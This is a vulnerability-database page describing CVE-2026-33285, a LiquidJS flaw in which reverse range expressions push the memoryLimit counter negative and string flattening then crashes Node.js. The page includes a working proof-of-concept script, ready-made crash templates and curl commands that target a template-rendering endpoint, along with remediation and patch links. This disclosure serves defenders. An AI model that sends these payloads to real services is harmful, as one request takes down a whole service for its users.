Skip to main content

Docker CVE-2026-33285

| EUVDEUVD-2026-16062 HIGH
Improper Input Validation (CWE-20)
2026-03-25 https://github.com/harttle/liquidjs GHSA-9r5m-9576-7f6x
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

4
EUVD ID Assigned
Mar 25, 2026 - 17:47 euvd
EUVD-2026-16062
Analysis Generated
Mar 25, 2026 - 17:47 vuln.today
Patch released
Mar 25, 2026 - 17:47 nvd
Patch available
CVE Published
Mar 25, 2026 - 17:40 nvd
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 npm packages depend on liquidjs (4 direct, 7 indirect)

Ecosystem-wide dependent count for version 10.24.0.

DescriptionGitHub Advisory

Summary

LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.

Details

When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).

The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.

typescript
// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
  const low: number = yield evalToken(token.lhs, ctx)
  const high: number = yield evalToken(token.rhs, ctx)
  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)
  return range(+low, +high + 1)
}

// src/util/limiter.ts:11-14
use (count: number) {
  count = +count || 0
  assert(this.base + count <= this.limit, this.message)
  this.base += count  // base becomes negative
}
Escalation to Process Crash via Cons-String Flattening

V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.

However, when a filter that requires the full string buffer is applied - such as replace - V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:

  • Cannot be caught by JavaScript try-catch or process.on('uncaughtException')
  • Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
  • Crashes the entire service, not just the attacking connection

The complete attack chain:

  1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M
  2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory
  3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash

The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.

PoC

  • LiquidJS <= 10.24.x with memoryLimit option enabled
  • Attacker can control Liquid template source code

Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:

javascript
const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 - Baseline: memoryLimit blocks large allocation
  console.log('=== Step 1: Baseline (should fail) ===');
  try {
    const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
    const result = await engine.parseAndRender(baseline);
    console.log('Result:', result); // Should not reach here
  } catch (e) {
    console.log('Blocked:', e.message); // "memory alloc limit exceeded"
  }

  // Step 2 - Bypass: reverse ranges drive counter negative
  console.log('\n=== Step 2: Bypass (should succeed) ===');
  try {
    const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
    const result = await engine.parseAndRender(bypass);
    console.log('Result:', result); // "134217728" - 134MB allocated despite 100MB limit
  } catch (e) {
    console.log('Error:', e.message);
  }

  // Step 3 - Process crash: cons-string flattening via replace
  console.log('\n=== Step 3: Process crash (node process will terminate) ===');
  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');
  try {
    const crash = [
      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),
      "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}",
      "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}"
    ].join('');
    const result = await engine.parseAndRender(crash);
    console.log('Result:', result); // Should not reach here
  } catch (e) {
    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable
  }
})();

Expected output:

=== Step 1: Baseline (should fail) ===
Blocked: memory alloc limit exceeded, line:1, col:43

=== Step 2: Bypass (should succeed) ===
Result: 134217728

=== Step 3: Process crash (node process will terminate) ===
If the process exits here with code 133/SIGTRAP, the crash is confirmed.
#
# Fatal error in , line 0
# Fatal JavaScript invalid size error 134217729
#

The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.

HTTP Reproduction (for applications that accept user templates)

If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):

bash
# Step 1 - Baseline: should return "memory alloc limit exceeded"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 2 - Bypass: should return "134217728" (134MB allocated despite 100MB limit)
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 3 - Process crash: connection drops, server process terminates
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.

Impact

An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:

  • Complete bypass of the memoryLimit security mechanism: The explicitly configured memory limit becomes ineffective.
  • Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.
  • Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.
  • False sense of security: Administrators who configured memoryLimit believe their service is protected when it is not.
  • Container restart policy does not mitigate: Even with Docker restart: always or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.

AnalysisAI

LiquidJS versions 10.24.x and earlier contain a memory limit bypass vulnerability that allows unauthenticated attackers to crash Node.js processes through a single malicious template. By exploiting reverse range expressions to drive the memory counter negative, attackers can allocate unlimited memory and trigger a V8 Fatal error that terminates the entire process, causing complete denial of service. A detailed proof-of-concept exploit is publicly available demonstrating the full attack chain from bypass to process crash.

Technical ContextAI

LiquidJS is a Node.js template engine (pkg:npm/liquidjs) that implements the Liquid templating language. The vulnerability stems from improper input validation (CWE-20) in the memory limit enforcement mechanism. When evaluating range tokens like (low..high), the code calculates memory usage as 'high - low + 1' without validating that this result is non-negative. Reverse ranges such as (100000000..1) produce negative values that are added to the memory counter, driving it below zero and effectively disabling the memoryLimit protection. The vulnerability is escalated to a process crash by creating a V8 cons-string through repeated string concatenation, then forcing flattening via the replace filter, which triggers a Fatal error at the C++ level that bypasses all JavaScript exception handlers.

RemediationAI

Upgrade LiquidJS to the patched version immediately by applying the fix available at https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578. Consult the vendor security advisory at https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x for complete upgrade instructions and version recommendations. Until patching is complete, implement defense-in-depth controls including strict template input validation, template sandboxing with separate process isolation, rate limiting on template rendering endpoints, and network-level access restrictions to trusted IP ranges only. For containerized deployments, configure aggressive resource limits at the container level (memory cgroups) to prevent memory exhaustion from affecting other workloads, though this will not prevent the Fatal error crash itself.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Share

CVE-2026-33285 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy